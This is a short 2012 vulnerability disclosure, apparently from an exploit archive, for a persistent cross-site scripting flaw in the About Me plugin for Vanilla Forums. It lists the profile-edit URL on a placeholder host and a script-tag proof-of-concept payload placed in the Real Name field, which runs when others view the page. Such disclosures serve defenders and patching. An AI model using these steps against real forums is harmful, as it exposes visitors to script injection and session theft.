Vanilla Forums About Me Plugin Persistant XSS

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# Title : Vanilla Forums About Me Plugin Persistant XSS
# Published : 2012-05-21
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# Title: Vanilla About Me Plugin Persistant XSS Vulnerability
# Date: 18/5/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + About Me 1.1.1
# http://vanillaforums.org/addon/aboutme-plugin
# http://http://vanillaforums.org
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Go to http://target.tld/index.php?p=/profile/editme/4/testmember

Post your XSS In any of the text fields, for this we used the Real Name Field and the following XSS

XSS:
<script>alert('x')</script>

Then if a user visits your about me page (http://target.tld/index.php?p=/profile/aboutme/4/testmember) the script will execute

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